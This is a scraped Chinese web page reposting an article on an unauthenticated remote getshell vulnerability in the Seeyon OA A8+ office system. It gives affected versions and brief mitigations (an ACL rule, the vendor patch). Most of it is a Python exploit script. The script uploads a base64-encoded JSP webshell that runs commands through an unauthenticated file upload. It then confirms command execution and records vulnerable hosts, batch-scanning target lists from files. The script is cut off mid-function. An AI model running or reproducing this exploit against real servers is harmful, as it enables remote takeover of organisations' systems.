相关文章推荐
好帅的楼梯  ·  读书人的悲哀:坑灰未冷山东乱,刘项原来不读书 ...·  3 月前    · 
好帅的苦瓜  ·  win7操作系统安装VS2017_win7安 ...·  6 月前    · 
瘦瘦的风衣  ·  三相逆变器pq控制simulink仿真 - ...·  9 月前    · 
豪情万千的刺猬  ·  0x80010105_安全-CSDN问答·  1 年前    · 
有胆有识的灌汤包  ·  任艳红_百度百科·  1 年前    · 
Code  ›  致远 OA A8 无需认证 Getshell 漏洞开发者社区
漏洞 url 致远
https://cloud.tencent.com/developer/article/1986318
睿智的核桃
1 年前
作者头像
C4rpeDime
0 篇文章

致远 OA A8 无需认证 Getshell 漏洞

前往专栏
腾讯云
开发者社区
文档 意见反馈 控制台
首页
学习
活动
专区
工具
TVP
文章/答案/技术大牛
发布
首页
学习
活动
专区
工具
TVP
返回腾讯云官网
社区首页 > 专栏 > 黑白安全 > 致远 OA A8 无需认证 Getshell 漏洞

致远 OA A8 无需认证 Getshell 漏洞

作者头像
C4rpeDime
发布 于 2022-04-24 10:16:21
5.7K 0
发布 于 2022-04-24 10:16:21
举报

致远互联旗下致远 A8+协同管理软件,存在远程 Getshell 漏洞。作为中国协同管理软件及云服务领先厂商,致远 A8+协同管理软件在国内拥有央企、大型公司都有广大的应用。 验证版本: A8+V7.0 SP3、A8+ V6.1 SP2 (V6.1 SP1 验证尚不存在,其他版本未验证) 触发条件:没有限制。 上述版本存在Getshell 漏洞。系统某处在无

致远互联旗下致远 A8+协同管理软件,存在远程 GETSHELL 漏洞。作为中国协同管理软件及云服务领先厂商,致远 A8+协同管理软件在国内拥有央企、大型公司都有广大的应用。

验证版本:

A8+V7.0 SP3、A8+ V6.1 SP2

(V6.1 SP1 验证尚不存在,其他版本未验证)

触发条件:没有限制。

上述版本存在GetShell 漏洞。系统某处在无需登录情况下可直接上传任意文件,攻击者一旦上传精心构造的后门文件即可 Getshell,获得目标服务器的权限。目前利用代码已在野外公开,官方提供的补丁程序仍然可利

用。

缓解措施:

1.通过 ACL 禁止外网对“/seeyon/htmlofficeservlet”路径的访问。

2、官方补丁

请尽快联系致远官方,索要官方补丁程序。

致远 OA A8 无需认证 Getshell 漏洞 Getshell 无需认证 A8 致远OA 安全工具  第1张
致远 OA A8 无需认证 Getshell 漏洞 Getshell 无需认证 A8 致远OA 安全工具 第1张

POC

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import glob
import time
import base64
import requests
from urllib.parse import urlparse
from multiprocessing import Pool
def start(url):
    if url[:4] != "http":
        print(url.replace("\n", ""), " not is a url.")
        return
    url = list(urlparse(url))[0] + "://" + list(urlparse(url))[1]
    print("[Testing] ", url)
    ua = {"user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"}
    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="
    req = requests.post(url + '/seeyon/htmlofficeservlet', headers=ua, data=base64.b64decode(payload))
    req = requests.get(url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+Miko')
    if "Miko" in req.text:
        print("[Vulnerability]", url)
        download("vuln.txt", url.replace("\n", ""))
    else:
        return url
def read_file(path):
    if not os.path.exists("urls.txt"):
        print("Please check file.", path)
        return
    file = open(path, "r")
    lines = file.readlines()
    file.close()
    return lines
def download(filename, data):
    filename = filename.replace("/", "_")
    if not os.path.exists(filename):
        f = open(filename, "w")
        f.close()
    with open(filename, "a") as f:
        f.write(str(data) + "/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+Miko\n")
def main():
    pool = Pool()
    paths = [*sys.argv,][1:]
    if not paths:
        paths = [input('[+] Please input path:')]
    for path in paths:
        path = glob.glob(path)
 
推荐文章
好帅的楼梯  ·  读书人的悲哀:坑灰未冷山东乱,刘项原来不读书!_秦始皇
3 月前
好帅的苦瓜  ·  win7操作系统安装VS2017_win7安装vs2017-CSDN博客
6 月前
瘦瘦的风衣  ·  三相逆变器pq控制simulink仿真 - CSDN文库
9 月前
豪情万千的刺猬  ·  0x80010105_安全-CSDN问答
1 年前
有胆有识的灌汤包  ·  任艳红_百度百科
1 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
Code - 代码工具平台
© 2024 ~ 沪ICP备11025650号